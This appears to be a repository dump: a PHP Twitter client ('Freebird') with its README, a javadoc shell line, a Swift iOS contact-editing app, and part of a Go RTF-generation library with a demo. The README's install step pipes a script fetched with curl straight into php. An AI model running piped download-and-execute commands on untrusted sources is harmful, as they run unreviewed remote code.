$app = new \Slim\Slim();
// setup freebird Client with application keys
$client = new Freebird\Services\freebird\Client();
//$client->init_bearer_token('your_key', 'your_secret_key');
$client->set_bearer_token('your_bearer');
// set response types to json
$res = $app->response();
$res['Content-Type'] = 'application/json';
$app->get('/favorites/:name', function ($name) use ($app, $client) {
// request parameters
$params = array('screen_name' => $name, 'count' => 2);
// make request to the api
$data = $client->api_request('favorites/list.json', $params);
// return data
$app->response()->body($data);
});
$app->run();
<file_sep>Freebird - Twitter App Only Auth
===
## Welcome
**Freebird** is a simple library designed to make connecting to Twitter's API as simple as possible on the server. Freebird was written to make life as easy as possible on developers to connect thier application servers to Twitter's API. Freebird uses the Application Only Authentication methodology, to find out more on this you can view the docs [here](https://dev.twitter.com/docs/auth/application-only-auth) from the offical Twitter API website.
## Installing via Composer
The recomended way to install **Freebird** is through [Composer](http://getcomposer.org/).
```
# Install Composer
curl -sS https://getcomposer.org/installer | php
# Add Freebird as a dependency
php composer.phar require corbanb/freebird-php:~0.2.4
```
After installing, you need to require Composer's autoloader:
```
require 'vendor/autoload.php';
```
## Freebird Dependencies
```
"php": ">=5.3.0"
"guzzle/guzzle": "3.1.*"
```
## Basic Usage
Once installed you can easily access all of the Twitter API endpoints supported by [Application Only Authentication](https://dev.twitter.com/docs/auth/application-only-auth). You can view those enpoints [here](https://dev.twitter.com/docs/rate-limiting/1.1/limits).
```php
<?php
// Setup freebird Client with Twitter application keys
$client = new Freebird\Services\freebird\Client();
// init bearer token
$client->init_bearer_token('your_key', 'your_secret_key');
// optional set bearer token if already aquired
// $client->set_bearer_token('your_bearer_token');
// Request API enpoint data
$response = $client->api_request('favorites/list.json', array('screen_name' => 'corbanb'));
// return api data
echo $response;
```
## Unit Testing
Not complete. Please feel free to fork and submit pull requests to help contribute to **Freebird**. Thanks.
| abc2de1794110b3cd25e34b7ba002cafc93b80b9 | [
"Markdown",
"PHP"
] | 4 | PHP | corbanb/freebird-php | 55db9f5ba89136f8eb1e7f716c5679f4b82c4ee4 | 3fa0c08f4af2f7af4303e828b5c4ed1b0bc2a00c |
refs/heads/master | <file_sep>/home/ivaneyvieira/.sdkman/candidates/java/8.0.252.hs-adpt/jre/../bin/javadoc @options @argfile | 1bbe7f55784a36dc8a1c5cd5f5088ecdc24482c1 | [
"Shell"
] | 1 | Shell | ivaneyvieira/apidoc | 000ddb20db78fea336cd482633cd068cf4e1edf0 | a51e6ec3eb1f5eb83ae30e94ea0ef9faacb18b9e |
refs/heads/master | <file_sep>//
// TableViewCell.swift
// Assignment App 2
//
// Created by <NAME> on 17.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class TableViewCell: UITableViewCell {
static let identifier = "TableViewCell"
let name = UILabel()
let email = UILabel()
let phone = UILabel()
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupCell()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
private func setupCell() {
addSubview(name)
name.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
name.topAnchor.constraint(equalTo: topAnchor, constant: 10),
name.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 20),
name.heightAnchor.constraint(equalToConstant: 20)
])
addSubview(email)
email.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
email.topAnchor.constraint(equalTo: name.bottomAnchor, constant: 10),
email.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 20),
email.heightAnchor.constraint(equalToConstant: 20)
])
addSubview(phone)
phone.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
phone.topAnchor.constraint(equalTo: email.bottomAnchor, constant: 10),
phone.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 20),
phone.heightAnchor.constraint(equalToConstant: 20)
])
}
}
<file_sep>//
// Extensions.swift
// Assignment App 3
//
// Created by <NAME> on 18.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
extension String {
enum ValidityTyge {
case phone
case email
case name
}
enum Regex: String {
case phone = "[0-9]{10,10}"
case email = "[0-9A-Za-z._%+-]+@[0-9A-Za-z._%+-]+\\.[A-Za-z]{2,64}"
case name = "[A-Za-z ]{4,20}"
}
func isValid(_ validityType: ValidityTyge) -> Bool {
let format = "SELF MATCHES %@"
var regex = ""
switch validityType {
case .phone:
regex = Regex.phone.rawValue
case .email:
regex = Regex.email.rawValue
case .name:
regex = Regex.name.rawValue
}
return NSPredicate(format: format, regex).evaluate(with: self)
}
}
extension UIColor {
func lighter(by percentage: CGFloat = 30.0) -> UIColor? {
return self.adjust(by: abs(percentage) )
}
func darker(by percentage: CGFloat = 30.0) -> UIColor? {
return self.adjust(by: -1 * abs(percentage) )
}
func adjust(by percentage: CGFloat = 30.0) -> UIColor? {
var red: CGFloat = 0, green: CGFloat = 0, blue: CGFloat = 0, alpha: CGFloat = 0
if self.getRed(&red, green: &green, blue: &blue, alpha: &alpha) {
return UIColor(red: min(red + percentage/100, 1.0),
green: min(green + percentage/100, 1.0),
blue: min(blue + percentage/100, 1.0),
alpha: alpha)
} else {
return nil
}
}
}
<file_sep>//
// NetworkManager.swift
// Assignment App 2
//
// Created by <NAME> on 17.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
protocol NetworkManagerDelegate {
func didUpdateData(people: [PersonModel])
func didFailWithError(error: Error)
}
struct DecodeJASON {
var delegate: NetworkManagerDelegate?
func parseJSON() {
let decoder = JSONDecoder()
if let path = Bundle.main.path(forResource: "data", ofType: "json") {
do {
let data = try Data(contentsOf: URL(fileURLWithPath: path), options: .mappedIfSafe)
let decodedData = try decoder.decode([PersonData].self, from: data)
var people = [PersonModel]()
for person in decodedData {
let name = person.name
let email = person.email
let phone = person.phone
let personModel = PersonModel(name: name, email: email, phone: phone)
people.append(personModel)
}
delegate?.didUpdateData(people: people)
} catch {
delegate?.didFailWithError(error: error)
}
}
}
}
<file_sep>//
// PersonData.swift
// Assignment App 3
//
// Created by <NAME> on 17.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import Foundation
struct PersonData: Codable {
let name: String?
let email: String?
let phone: String?
}
<file_sep>//
// CustomTextField.swift
// Assignment App 3
//
// Created by <NAME> on 18.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class CustomTextField: UITextField {
override init(frame: CGRect) {
super.init(frame: frame)
setupTextField()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func setupTextField() {
autocorrectionType = .no
returnKeyType = .continue
borderStyle = .roundedRect
textAlignment = .left
contentVerticalAlignment = .center
translatesAutoresizingMaskIntoConstraints = false
}
}
<file_sep>//
// Screen2.swift
// Assignment App 3
//
// Created by <NAME> on 18.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
protocol PassData {
func passData(person: PersonModel, index: Int?, shouldReset: Bool, people: [PersonModel]?)
func backButtonPressed(shouldReset: Bool)
}
class Screen2: UIViewController {
enum Placeholder: String {
case name = "Enter the name"
case email = "Enter the email"
case phone = "Enter the phone number"
}
private let name = CustomTextField()
private let email = CustomTextField ()
private let phone = CustomTextField ()
private let nameLabel = UILabel()
private let emailLabel = UILabel()
private let phoneLabel = UILabel()
private let updateButton = CustomButton()
private let resetButton = CustomButton()
private let nameCheckMark = UIImageView()
private let emailCheckMark = UIImageView()
private let phoneCheckMark = UIImageView ()
var setName: String? {
didSet {
name.text = setName
}
}
var setEmail: String? {
didSet {
email.text = setEmail
}
}
var setPhone: String? {
didSet {
phone.text = setPhone
}
}
var indexPath: Int?
var transferredPeople: [PersonModel]?
private let buttonColor = UIColor.init(displayP3Red: 25/255, green: 100/255, blue: 128/255, alpha: 1)
private var validityType: String.ValidityTyge = .email
private var phoneIsValid = false {
didSet {
checkIsTextFieldAreValid()
}
}
private var nameIsValid = false {
didSet {
checkIsTextFieldAreValid()
}
}
private var emailIsValid = false {
didSet {
checkIsTextFieldAreValid()
}
}
var delegate: PassData?
override func viewDidLoad() {
super.viewDidLoad()
setupView()
updateButton.backgroundColor = buttonColor.lighter(by: 10)
initialValidation() // check is initial data is valid
}
// override func didMove(toParent parent: UIViewController?) {
// print((parent as? Screen1)?.shouldReset)
// print("parent")
// }
private func checkIsTextFieldAreValid() {
// if Valid -> changes Button Color
if phoneIsValid, nameIsValid, emailIsValid {
updateButton.backgroundColor = buttonColor
}
}
private func initialValidation() {
let textFieldsArray = [name, email, phone]
for textField in textFieldsArray {
validation(textField)
}
}
@objc private func validation(_ sender: CustomTextField) {
//text Validation
guard let text = sender.text else { return }
switch sender.placeholder! {
case Placeholder.name.rawValue:
validityType = .name
if text.isValid(validityType) {
nameIsValid = true
nameCheckMark.alpha = 1
} else {
nameIsValid = false
nameCheckMark.alpha = 0
}
case Placeholder.email.rawValue:
validityType = .email
if text.isValid(validityType) {
emailIsValid = true
emailCheckMark.alpha = 1
} else {
emailIsValid = false
emailCheckMark.alpha = 0
}
case Placeholder.phone.rawValue:
validityType = .phone
if text.isValid(validityType) {
phoneIsValid = true
phoneCheckMark.alpha = 1
} else {
phoneIsValid = false
phoneCheckMark.alpha = 0
}
default:
fatalError("Validation didn't go good")
}
}
@objc private func updateButtonPressed(_ sender: UIButton) {
if nameIsValid, emailIsValid, phoneIsValid {
let person = PersonModel(name: name.text!, email: email.text, phone: phone.text!)
delegate?.passData(person: person, index: indexPath, shouldReset: false, people: transferredPeople)
navigationController?.popToRootViewController(animated: true)
} else {
if !nameIsValid { nameNotValid() }
else if !emailIsValid { emailNotValid() }
else if !phoneIsValid { phoneNotValid() }
}
}
private func nameNotValid() {
let alert = UIAlertController(title: "Name isn't valid", message: "Name must be at least 4 characters long and less than 20", preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default, handler: nil)
alert.addAction(action)
present(alert, animated: true)
}
private func emailNotValid() {
let alert = UIAlertController(title: "Email isn't valid", message: "Please, enter valid email!", preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default, handler: nil)
alert.addAction(action)
present(alert, animated: true)
}
private func phoneNotValid() {
let alert = UIAlertController(title: "Phone number isn't valid", message: "There must be 10 numeric characters.", preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default, handler: nil)
alert.addAction(action)
present(alert, animated: true)
}
@objc private func resetButtonPressed (_ sender: UIButton) {
delegate?.backButtonPressed(shouldReset: true)
navigationController?.popViewController(animated: true)
}
private func setupView() {
view.backgroundColor = .white
let margin = view.bounds.height / 14
let width = view.bounds.width * 0.9
let buttonWidth = view.bounds.width * 0.8
let checkMarkSize: CGFloat = 20
// NAME TEXTFIELD
view.addSubview(name)
name.placeholder = Placeholder.name.rawValue
name.addTarget(self, action: #selector(validation(_ :)), for: .editingChanged)
NSLayoutConstraint.activate([
name.topAnchor.constraint(equalTo: view.safeAreaLayoutGuide.topAnchor, constant: margin),
name.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
name.heightAnchor.constraint(equalToConstant: 30),
name.widthAnchor.constraint(equalToConstant: width)
])
// NAME LABEL
view.addSubview(nameLabel)
nameLabel.text = "Name:"
nameLabel.font = UIFont.systemFont(ofSize: 16, weight: .medium)
nameLabel.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
nameLabel.heightAnchor.constraint(equalToConstant: 20),
nameLabel.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 25),
nameLabel.bottomAnchor.constraint(equalTo: name.topAnchor, constant: -5)
])
// NAME CHECKMARK
view.addSubview(nameCheckMark)
nameCheckMark.translatesAutoresizingMaskIntoConstraints = false
nameCheckMark.image = UIImage(systemName: "checkmark")
nameCheckMark.tintColor = .systemGreen
nameCheckMark.alpha = 0
NSLayoutConstraint.activate([
nameCheckMark.topAnchor.constraint(equalTo: nameLabel.topAnchor),
nameCheckMark.leadingAnchor.constraint(equalTo: nameLabel.trailingAnchor, constant: 5),
nameCheckMark.heightAnchor.constraint(equalToConstant: checkMarkSize),
nameCheckMark.widthAnchor.constraint(equalToConstant: checkMarkSize)
])
// EMAIL TEXTFIELD
view.addSubview(email)
email.keyboardType = .emailAddress
email.placeholder = Placeholder.email.rawValue
email.addTarget(self, action: #selector(validation(_ :)), for: .editingChanged)
NSLayoutConstraint.activate([
email.topAnchor.constraint(equalTo: name.bottomAnchor, constant: margin),
email.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
email.heightAnchor.constraint(equalToConstant: 30),
email.widthAnchor.constraint(equalToConstant: width)
])
// EMAIL LABEL
view.addSubview(emailLabel)
emailLabel.text = "E-mail:"
emailLabel.font = UIFont.systemFont(ofSize: 16, weight: .medium)
emailLabel.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
emailLabel.heightAnchor.constraint(equalToConstant: 20),
emailLabel.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 25),
emailLabel.bottomAnchor.constraint(equalTo: email.topAnchor, constant: -5)
])
// EMAIL CHECKMARK
view.addSubview(emailCheckMark)
emailCheckMark.translatesAutoresizingMaskIntoConstraints = false
emailCheckMark.image = UIImage(systemName: "checkmark")
emailCheckMark.tintColor = .systemGreen
emailCheckMark.alpha = 0
NSLayoutConstraint.activate([
emailCheckMark.topAnchor.constraint(equalTo: emailLabel.topAnchor),
emailCheckMark.leadingAnchor.constraint(equalTo: emailLabel.trailingAnchor, constant: 5),
emailCheckMark.heightAnchor.constraint(equalToConstant: checkMarkSize),
emailCheckMark.widthAnchor.constraint(equalToConstant: checkMarkSize)
])
// PHONE TEXTFIELD
view.addSubview(phone)
phone.keyboardType = .numberPad
phone.placeholder = Placeholder.phone.rawValue
phone.addTarget(self, action: #selector(validation(_:)), for: .editingChanged)
NSLayoutConstraint.activate([
phone.topAnchor.constraint(equalTo: email.bottomAnchor, constant: margin),
phone.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 20),
phone.heightAnchor.constraint(equalToConstant: 30),
phone.widthAnchor.constraint(equalToConstant: width)
])
// PHONE LABEL
view.addSubview(phoneLabel)
phoneLabel.text = "Phone:"
phoneLabel.font = UIFont.systemFont(ofSize: 16, weight: .medium)
phoneLabel.translatesAutoresizingMaskIntoConstraints = false
NSLayoutConstraint.activate([
phoneLabel.heightAnchor.constraint(equalToConstant: 20),
phoneLabel.leadingAnchor.constraint(equalTo: view.leadingAnchor, constant: 25),
phoneLabel.bottomAnchor.constraint(equalTo: phone.topAnchor, constant: -5)
])
// EMAIL CHECKMARK
view.addSubview(phoneCheckMark)
phoneCheckMark.translatesAutoresizingMaskIntoConstraints = false
phoneCheckMark.image = UIImage(systemName: "checkmark")
phoneCheckMark.tintColor = .systemGreen
phoneCheckMark.alpha = 0
NSLayoutConstraint.activate([
phoneCheckMark.topAnchor.constraint(equalTo: phoneLabel.topAnchor),
phoneCheckMark.leadingAnchor.constraint(equalTo: phoneLabel.trailingAnchor, constant: 5),
phoneCheckMark.heightAnchor.constraint(equalToConstant: checkMarkSize),
phoneCheckMark.widthAnchor.constraint(equalToConstant: checkMarkSize)
])
// UPDATE BUTTON
view.addSubview(updateButton)
updateButton.setTitle("Update", for: .normal)
updateButton.addTarget(self, action: #selector(updateButtonPressed(_:)), for: .touchUpInside)
NSLayoutConstraint.activate([
updateButton.topAnchor.constraint(equalTo: phone.bottomAnchor, constant: margin/2),
updateButton.heightAnchor.constraint(equalToConstant: 50),
updateButton.widthAnchor.constraint(equalToConstant: buttonWidth),
updateButton.centerXAnchor.constraint(equalTo: view.centerXAnchor)
])
// RESET BUTTON
view.addSubview(resetButton)
resetButton.setTitle("Reset", for: .normal)
resetButton.addTarget(self, action: #selector(resetButtonPressed(_:)), for: .touchUpInside)
NSLayoutConstraint.activate([
resetButton.topAnchor.constraint(equalTo: updateButton.bottomAnchor, constant: margin/2),
resetButton.heightAnchor.constraint(equalToConstant: 50),
resetButton.widthAnchor.constraint(equalToConstant: buttonWidth),
resetButton.centerXAnchor.constraint(equalTo: view.centerXAnchor)
])
}
}
<file_sep>//
// ViewController.swift
// Assignment App 3
//
// Created by <NAME> on 17.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class Screen1: UIViewController {
private let tableView = UITableView()
private var jsonDecoder = DecodeJASON()
var transferredPeople: [PersonModel]? // Copy of the PeopleFromJSON, to keep old changes when I update Screen1
var transferredPerson: PersonModel? // The person I updated in Screen 2
private var peopleFromJSON = [PersonModel]()
var shouldReset = true
var index: Int? // Person's position in the PeopleFromJSON array
override func viewDidLoad() {
super.viewDidLoad()
setupTableView()
}
override func viewWillAppear(_ animated: Bool) {
print("viwWillAppear Called")
navigationController?.isNavigationBarHidden = true
jsonDecoder.delegate = self
shouldReset == true ? jsonDecoder.parseJSON() : updateData()
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
navigationController?.isNavigationBarHidden = false
}
private func updateData() {
if let person = transferredPerson, let index = index, let transferredPeople = transferredPeople {
peopleFromJSON = transferredPeople // Fill the array with previous DATA to be source for TableView
peopleFromJSON[index] = person // Change the person in the array with updated version
//shouldReset = true
tableView.reloadData()
}
}
private func setupTableView() {
view.addSubview(tableView)
tableView.translatesAutoresizingMaskIntoConstraints = false
tableView.delegate = self
tableView.dataSource = self
tableView.register(TableViewCell.self, forCellReuseIdentifier: TableViewCell.identifier)
tableView.rowHeight = 95
NSLayoutConstraint.activate([
tableView.topAnchor.constraint(equalTo: view.topAnchor, constant: 88),
tableView.leadingAnchor.constraint(equalTo: view.leadingAnchor),
tableView.trailingAnchor.constraint(equalTo: view.trailingAnchor),
tableView.bottomAnchor.constraint(equalTo: view.bottomAnchor, constant: -50)
])
}
}
extension Screen1: UITableViewDelegate {
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
let screen2 = Screen2()
screen2.delegate = self
screen2.setName = peopleFromJSON[indexPath.row].name
screen2.setEmail = peopleFromJSON[indexPath.row].email
screen2.setPhone = peopleFromJSON[indexPath.row].phone
screen2.indexPath = indexPath.row
screen2.transferredPeople = peopleFromJSON
navigationController?.pushViewController(screen2, animated: true)
tableView.deselectRow(at: indexPath, animated: false)
}
}
extension Screen1: UITableViewDataSource {
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return peopleFromJSON.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: TableViewCell.identifier, for: indexPath) as! TableViewCell
let person = peopleFromJSON[indexPath.row]
cell.name.text = person.name
cell.email.text = person.email
cell.phone.text = person.phone
return cell
}
}
extension Screen1: NetworkManagerDelegate {
func didUpdateData(people: [PersonModel]) {
peopleFromJSON = people
tableView.reloadData()
}
func didFailWithError(error: Error) {
DispatchQueue.main.async {
let alert = UIAlertController(title: "Ooops! An Error!", message: error.localizedDescription, preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default, handler: nil)
alert.addAction(action)
self.present(alert, animated: true)
}
}
}
extension Screen1: PassData {
func backButtonPressed(shouldReset: Bool) {
self.shouldReset = shouldReset
}
func passData(person: PersonModel, index: Int?, shouldReset: Bool, people: [PersonModel]?) {
transferredPerson = person
transferredPeople = people
self.index = index
self.shouldReset = shouldReset
}
}
<file_sep>//
// CustomButton.swift
// testAssignment App 1
//
// Created by <NAME> on 16.06.2020.
// Copyright © 2020 <NAME>. All rights reserved.
//
import UIKit
class CustomButton: UIButton {
override init(frame: CGRect) {
super.init(frame: frame)
setupButton()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func setupButton() {
setShadow()
setTitleColor(.white, for: .normal)
backgroundColor = UIColor.init(displayP3Red: 25/255, green: 100/255, blue: 128/255, alpha: 1)
titleLabel?.font = UIFont(name: "Futura-Medium", size: 22)
layer.cornerRadius = 12
layer.borderWidth = 3.0
layer.borderColor = UIColor.darkGray.cgColor
translatesAutoresizingMaskIntoConstraints = false
}
private func setShadow() {
layer.shadowColor = UIColor.black.cgColor
layer.shadowOffset = CGSize(width: 0, height: 6)
layer.shadowRadius = 8
layer.shadowOpacity = 0.5
clipsToBounds = true
layer.masksToBounds = false
}
func shake() {
let shake = CABasicAnimation(keyPath: "position")
shake.duration = 0.1
shake.repeatCount = 2
shake.autoreverses = true
let fromPoint = CGPoint(x: center.x - 8, y: center.y)
let fromValue = NSValue(cgPoint: fromPoint)
let toPoint = CGPoint(x: center.x + 8, y: center.y)
let toValue = NSValue(cgPoint: toPoint)
shake.fromValue = fromValue
shake.toValue = toValue
layer.add(shake, forKey: "position")
}
}
| a46e0e12eb675de0fa2e72dd627e2f70e422b629 | [
"Swift"
] | 8 | Swift | MrRonanX/Assignment-App-3 | 846b356c6e949a36d14b81798d6e86dbee6fc164 | 0abfc2a7732b853d8145ed7b3e9a458aeb90c3a3 |
refs/heads/master | <repo_name>Arswyd/ProjectArgon<file_sep>/Assets/Scripts/CollisionHandler.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class CollisionHandler : MonoBehaviour
{
[SerializeField] float loadDelay = 1f;
[SerializeField] ParticleSystem crashVFX;
void Update()
{
if (Input.GetKeyDown(KeyCode.R))
{
ReloadScene();
}
}
void OnTriggerEnter(Collider other)
{
StartCrashSequence();
}
void StartCrashSequence()
{
crashVFX.Play();
GetComponent<MeshRenderer>().enabled = false;
GetComponent<BoxCollider>().enabled = false;
GetComponent<PlayerControls>().enabled = false;
Invoke("ReloadScene", loadDelay);
}
void ReloadScene()
{
int currentSceneIndex = SceneManager.GetActiveScene().buildIndex;
SceneManager.LoadScene(currentSceneIndex);
}
}
<file_sep>/Assets/Scripts/PlayerControls.cs
using System;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerControls : MonoBehaviour
{
// *** NEW INPUT SYSTEM EXAMPLE ***
// 1, Install Input System from package manager
// 2, Project Settings -> Player -> Active Input Handling -> Both for legacy code
// 3, using UnityEngine.InputSystem;
// [SerializeField] InputAction movement;
// [SerializeField] InputAction fire;
// Bind movement in the inspector for 2D Vector (WASD) or Add Binding -> Path -> Listen -> move Gamepad Stick for recognition
[Header("General")]
[Tooltip("Player control speed")][SerializeField] float controlSpeed = 30f;
[Tooltip("Player movement range in x axis")] [SerializeField] float xRange = 12f;
[Tooltip("Player movement range in y axis")] [SerializeField] float yRange = 10f;
[Header("Laser array")]
[Tooltip("Add player lasers here")] [SerializeField] GameObject[] lasers;
[Header("Position based tuning")]
[SerializeField] float positionPitchFactor = -2f;
[SerializeField] float yawFactor = 2f;
[Header("Control based tuning")]
[SerializeField] float controlPitchFactor = -15f;
[SerializeField] float rollFactor = -15f;
float xThrow;
float yThrow;
void Start()
{
}
// *** NEW INPUT SYSTEM EXAMPLE ***
// Enable and disable movement input action
//void OnEnable()
//{
// movement.Enable();
// fire.Enable();
//}
//void OnEnable()
//{
// movement.Disable();
// fire.Disable();
//}
void Update()
{
ProcessTranslation();
ProcessRotation();
ProcessFiring();
}
void ProcessTranslation()
{
xThrow = Input.GetAxis("Horizontal");
yThrow = Input.GetAxis("Vertical");
// *** NEW INPUT SYSTEM EXAMPLE ***
// float horizontalThrow = movement.ReadValue<Vector2>().x;
// float verticalThrow = movement.ReadValue<Vector2>().y;
float xOffset = xThrow * controlSpeed * Time.deltaTime;
float rawXPos = transform.localPosition.x + xOffset;
float clampedXPos = Mathf.Clamp(rawXPos, -xRange, xRange);
float yOffset = yThrow * controlSpeed * Time.deltaTime;
float rawYPos = transform.localPosition.y + yOffset;
float clampedYPos = Mathf.Clamp(rawYPos, -yRange, yRange);
transform.localPosition = new Vector3(clampedXPos, clampedYPos, transform.localPosition.z);
}
void ProcessRotation()
{
float pitchDueToPosition = transform.localPosition.y * positionPitchFactor;
float pitchDueToControlThrow = yThrow * controlPitchFactor;
float pitch = pitchDueToPosition + pitchDueToControlThrow;
float yaw = transform.localPosition.x * yawFactor;
float roll = xThrow * rollFactor;
transform.localRotation = Quaternion.Euler(pitch, yaw, roll);
}
void ProcessFiring()
{
if (Input.GetButton("Fire1"))
{
ToggleLasers(true);
}
else
{
ToggleLasers(false);
}
// *** NEW INPUT SYSTEM EXAMPLE ***
//if (fire.ReadValue<float>() > 0.5)
//{
// Debug.Log("Fire");
//}
}
void ToggleLasers(bool isLaserActive)
{
foreach (GameObject laser in lasers)
{
var emissionModule = laser.GetComponent<ParticleSystem>().emission;
emissionModule.enabled = isLaserActive;
}
}
}
<file_sep>/README.md
# Project Argon
Personal Unity 3D project. Short video on the following link: https://twitter.com/d_varsanyi/status/1370136216558051329
| 20c170f55fc5c1053894950727007860e0e4612d | [
"Markdown",
"C#"
] | 3 | C# | Arswyd/ProjectArgon | c1ce341c4cea31364dd0ac0e9af860576facc004 | 48a70bfd54a0f7e19ee03adeafe29cd3984d8b3d |
refs/heads/master | <repo_name>ondrejholecek/rtf-doc<file_sep>/go.mod
module github.com/therox/rtf-doc
go 1.14
require github.com/google/pprof v0.0.0-20190208070709-b421f19a5c07 // indirect
<file_sep>/paragraph.go
package rtfdoc
import (
"fmt"
"strings"
)
// AddParagraph return new instance of Paragraph.
func (doc *Document) AddParagraph() *Paragraph {
p := Paragraph{
align: AlignCenter,
indent: "\\fl360",
content: nil,
generalSettings: generalSettings{
colorTable: doc.colorTable,
fontColor: doc.fontColor,
},
allowedWidth: doc.maxWidth,
}
p.updateMaxWidth()
doc.content = append(doc.content, &p)
return &p
}
func (par *Paragraph) updateMaxWidth() *Paragraph {
par.maxWidth = par.allowedWidth
return par
}
func (par Paragraph) compose() string {
var res strings.Builder
indentStr := fmt.Sprintf("\\fi%d \\li%d \\ri%d",
par.indentFirstLine,
par.indentLeftIndent,
par.indentRightIndent)
res.WriteString(fmt.Sprintf("\n\\pard \\q%s %s {", par.align, indentStr))
if par.isTable {
res.WriteString("\\intbl")
}
// res += fmt.Sprintf(" \\q%s", par.align)
for _, c := range par.content {
res.WriteString(c.compose())
}
// res += "\n\\par}"
res.WriteString("}")
if !par.isTable {
res.WriteString("\\par")
}
return res.String()
}
// SetIndentFirstLine function sets first line indent in twips.
func (par *Paragraph) SetIndentFirstLine(value int) *Paragraph {
par.indentFirstLine = value
return par
}
// SetIndentRight function sets right indent in twips.
func (par *Paragraph) SetIndentRight(value int) *Paragraph {
par.indentRightIndent = value
return par
}
// SetIndentLeft function sets left indent in twips.
func (par *Paragraph) SetIndentLeft(value int) *Paragraph {
par.indentLeftIndent = value
return par
}
// SetAlign sets Paragraph align (c/center, l/left, r/right, j/justify).
func (par *Paragraph) SetAlign(align string) *Paragraph {
for _, i := range []string{
AlignCenter,
AlignLeft,
AlignRight,
AlignJustify,
AlignDistribute,
} {
if i == align {
par.align = i
}
}
return par
}
<file_sep>/_examples/Demo/main.go
package main
import (
"fmt"
"io/ioutil"
rtfdoc "github.com/therox/rtf-doc"
)
func main() {
// Создаем новый чистый, незамутнённый документ
d := rtfdoc.NewDocument()
// Настроить хедер
d.SetOrientation(rtfdoc.OrientationLandscape)
d.SetFormat(rtfdoc.FormatA4)
p := d.AddParagraph()
p.AddText("Green first string (Times New Roman)", 48, rtfdoc.FontTimesNewRoman, rtfdoc.ColorGreen)
d.AddParagraph().AddText("Blue second string (Arial, Rotated)", 48, rtfdoc.FontArial, rtfdoc.ColorBlue).SetRotate()
d.AddParagraph().AddText("Red Third string (Comic Sans)", 48, rtfdoc.FontComicSansMS, rtfdoc.ColorRed)
// Таблица
t := d.AddTable().SetWidth(10000)
//t.SetLeftMargin(50).SetRightMargin(50).SetTopMargin(50).SetBottomMargin(50)
t.SetMarginLeft(50).SetMarginRight(50).SetMarginTop(50).SetMarginBottom(50)
t.SetBorderColor(rtfdoc.ColorSilver)
// // строка таблицы
tr := t.AddTableRow()
// // Рассчет ячеек таблицы. Первый ряд
cWidth := t.GetTableCellWidthByRatio(1, 3)
// ячейка таблицы
dc := tr.AddDataCell(cWidth[0]).SetBackgroundColor(rtfdoc.ColorGreen)
dc.SetVerticalMergedFirst()
p = dc.AddParagraph()
// текст
p.AddText("Blue text with cyrillic support with multiline", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlue)
p.AddNewLine()
p.AddText("Голубой кириллический текст с переносом строки внутри параграфа", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlue)
p.SetAlign(rtfdoc.AlignJustify)
p = dc.AddParagraph().
SetIndentFirstLine(40).
SetAlign(rtfdoc.AlignCenter)
p.AddText("Another paragraph in vertical cell", 16, rtfdoc.FontCourierNew, rtfdoc.ColorBlue)
dc = tr.AddDataCell(cWidth[1])
p = dc.AddParagraph().SetAlign(rtfdoc.AlignCenter)
p.AddText("Green text In top right cell with center align", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorGreen)
tr = t.AddTableRow()
cWidth = t.GetTableCellWidthByRatio(1, 1.5, 1.5)
// // Это соединенная с верхней ячейка. Текст в ней возьмется из первой ячейки.
dc = tr.AddDataCell(cWidth[0])
dc.SetVerticalMergedNext()
dc = tr.AddDataCell(cWidth[1])
p = dc.AddParagraph()
p.SetAlign(rtfdoc.AlignRight)
p.AddText("Red text In bottom central cell with right align", 16, rtfdoc.FontArial, rtfdoc.ColorRed).SetBold()
dc = tr.AddDataCell(cWidth[2])
p = dc.AddParagraph()
p.SetAlign(rtfdoc.AlignLeft)
p.AddText("Black text in bottom right cell with left align", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlack).SetItalic()
p.AddText("° degrees", 16, rtfdoc.FontComicSansMS, rtfdoc.ColorBlack).SetItalic()
